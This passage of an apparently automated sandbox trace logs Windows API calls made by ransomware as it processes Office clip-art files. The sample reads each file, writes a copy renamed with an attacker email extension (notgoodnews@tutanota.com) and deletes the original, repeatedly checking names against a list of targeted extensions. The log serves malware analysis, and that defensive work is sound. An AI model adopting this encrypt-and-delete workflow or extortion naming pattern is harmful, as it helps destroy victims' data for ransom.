lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.864] SetEndOfFile (hFile=0x39c) returned 1 [0085.864] CloseHandle (hObject=0x39c) returned 1 [0085.864] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.864] SetEndOfFile (hFile=0x378) returned 1 [0085.865] CloseHandle (hObject=0x378) returned 1 [0085.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0085.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.866] lstrlenW (lpString=".doc") returned 4 [0085.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.866] lstrlenW (lpString=".docx") returned 5 [0085.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.866] lstrlenW (lpString=".pdf") returned 4 [0085.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.866] lstrlenW (lpString=".xls") returned 4 [0085.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.866] lstrlenW (lpString=".xlsx") returned 5 [0085.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.866] lstrlenW (lpString=".ppt") returned 4 [0085.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.866] lstrlenW (lpString=".zip") returned 4 [0085.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.866] lstrlenW (lpString=".rar") returned 4 [0085.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.866] lstrlenW (lpString=".bz2") returned 4 [0085.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.866] lstrlenW (lpString=".7z") returned 3 [0085.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.866] lstrlenW (lpString=".dbf") returned 4 [0085.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.866] lstrlenW (lpString=".1cd") returned 4 [0085.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.867] lstrlenW (lpString=".jpg") returned 4 [0085.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.867] lstrlenW (lpString=".doc") returned 4 [0085.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString=".docx") returned 5 [0085.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.867] lstrlenW (lpString=".pdf") returned 4 [0085.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString=".xls") returned 4 [0085.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.867] lstrlenW (lpString=".xlsx") returned 5 [0085.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.867] lstrlenW (lpString=".ppt") returned 4 [0085.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.867] lstrlenW (lpString=".zip") returned 4 [0085.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.867] lstrlenW (lpString=".rar") returned 4 [0085.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString=".bz2") returned 4 [0085.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString=".7z") returned 3 [0085.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.867] lstrlenW (lpString=".dbf") returned 4 [0085.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.867] lstrlenW (lpString=".1cd") returned 4 [0085.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0085.867] lstrlenW (lpString=".jpg") returned 4 [0085.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.868] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.868] lstrlenW (lpString="EN00320_.WMF") returned 12 [0085.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.868] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=736) returned 1 [0085.869] CloseHandle (hObject=0x378) returned 1 [0085.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0085.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.869] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.869] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0085.869] GetLastError () returned 0x0 [0085.869] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2e0, lpOverlapped=0x0) returned 1 [0085.871] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2f0, lpOverlapped=0x0) returned 1 [0085.872] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.872] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.872] SetEndOfFile (hFile=0x39c) returned 1 [0085.872] CloseHandle (hObject=0x39c) returned 1 [0085.872] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.872] SetEndOfFile (hFile=0x378) returned 1 [0085.873] CloseHandle (hObject=0x378) returned 1 [0085.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0085.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.873] lstrlenW (lpString=".doc") returned 4 [0085.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.873] lstrlenW (lpString=".docx") returned 5 [0085.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.873] lstrlenW (lpString=".pdf") returned 4 [0085.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString=".xls") returned 4 [0085.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.874] lstrlenW (lpString=".xlsx") returned 5 [0085.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.874] lstrlenW (lpString=".ppt") returned 4 [0085.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.874] lstrlenW (lpString=".zip") returned 4 [0085.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.874] lstrlenW (lpString=".rar") returned 4 [0085.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString=".bz2") returned 4 [0085.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString=".7z") returned 3 [0085.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.874] lstrlenW (lpString=".dbf") returned 4 [0085.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.874] lstrlenW (lpString=".1cd") returned 4 [0085.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.874] lstrlenW (lpString=".jpg") returned 4 [0085.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.874] lstrlenW (lpString=".doc") returned 4 [0085.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString=".docx") returned 5 [0085.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.874] lstrlenW (lpString=".pdf") returned 4 [0085.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.874] lstrlenW (lpString=".xls") returned 4 [0085.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.874] lstrlenW (lpString=".xlsx") returned 5 [0085.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.875] lstrlenW (lpString=".ppt") returned 4 [0085.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.875] lstrlenW (lpString=".zip") returned 4 [0085.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.875] lstrlenW (lpString=".rar") returned 4 [0085.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.875] lstrlenW (lpString=".bz2") returned 4 [0085.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.875] lstrlenW (lpString=".7z") returned 3 [0085.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.875] lstrlenW (lpString=".dbf") returned 4 [0085.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.875] lstrlenW (lpString=".1cd") returned 4 [0085.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0085.875] lstrlenW (lpString=".jpg") returned 4 [0085.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.875] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.875] lstrlenW (lpString="EN00397_.WMF") returned 12 [0085.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.876] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=17308) returned 1 [0085.876] CloseHandle (hObject=0x378) returned 1 [0085.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0085.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.876] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.876] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0085.876] GetLastError () returned 0x0 [0085.876] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x439c, lpOverlapped=0x0) returned 1 [0085.878] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x43a0, lpOverlapped=0x0) returned 1 [0085.879] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.879] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.882] SetEndOfFile (hFile=0x39c) returned 1 [0085.882] CloseHandle (hObject=0x39c) returned 1 [0085.882] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.882] SetEndOfFile (hFile=0x378) returned 1 [0085.883] CloseHandle (hObject=0x378) returned 1 [0085.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0085.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.886] lstrlenW (lpString=".doc") returned 4 [0085.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.886] lstrlenW (lpString=".docx") returned 5 [0085.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.886] lstrlenW (lpString=".pdf") returned 4 [0085.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.886] lstrlenW (lpString=".xls") returned 4 [0085.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.886] lstrlenW (lpString=".xlsx") returned 5 [0085.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.886] lstrlenW (lpString=".ppt") returned 4 [0085.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.886] lstrlenW (lpString=".zip") returned 4 [0085.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.886] lstrlenW (lpString=".rar") returned 4 [0085.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.886] lstrlenW (lpString=".bz2") returned 4 [0085.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.886] lstrlenW (lpString=".7z") returned 3 [0085.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.886] lstrlenW (lpString=".dbf") returned 4 [0085.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.886] lstrlenW (lpString=".1cd") returned 4 [0085.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.886] lstrlenW (lpString=".jpg") returned 4 [0085.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.887] lstrlenW (lpString=".doc") returned 4 [0085.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.887] lstrlenW (lpString=".docx") returned 5 [0085.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.887] lstrlenW (lpString=".pdf") returned 4 [0085.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.887] lstrlenW (lpString=".xls") returned 4 [0085.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.887] lstrlenW (lpString=".xlsx") returned 5 [0085.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.887] lstrlenW (lpString=".ppt") returned 4 [0085.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.887] lstrlenW (lpString=".zip") returned 4 [0085.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.887] lstrlenW (lpString=".rar") returned 4 [0085.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.887] lstrlenW (lpString=".bz2") returned 4 [0085.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.887] lstrlenW (lpString=".7z") returned 3 [0085.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.887] lstrlenW (lpString=".dbf") returned 4 [0085.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.888] lstrlenW (lpString=".1cd") returned 4 [0085.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0085.888] lstrlenW (lpString=".jpg") returned 4 [0085.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.888] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.888] lstrlenW (lpString="EN00902_.WMF") returned 12 [0085.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.889] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7944) returned 1 [0085.889] CloseHandle (hObject=0x378) returned 1 [0085.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0085.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.889] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.889] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.268] GetLastError () returned 0x0 [0086.268] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0086.269] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0086.271] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.271] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.271] SetEndOfFile (hFile=0x39c) returned 1 [0086.271] CloseHandle (hObject=0x39c) returned 1 [0086.271] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.271] SetEndOfFile (hFile=0x378) returned 1 [0086.272] CloseHandle (hObject=0x378) returned 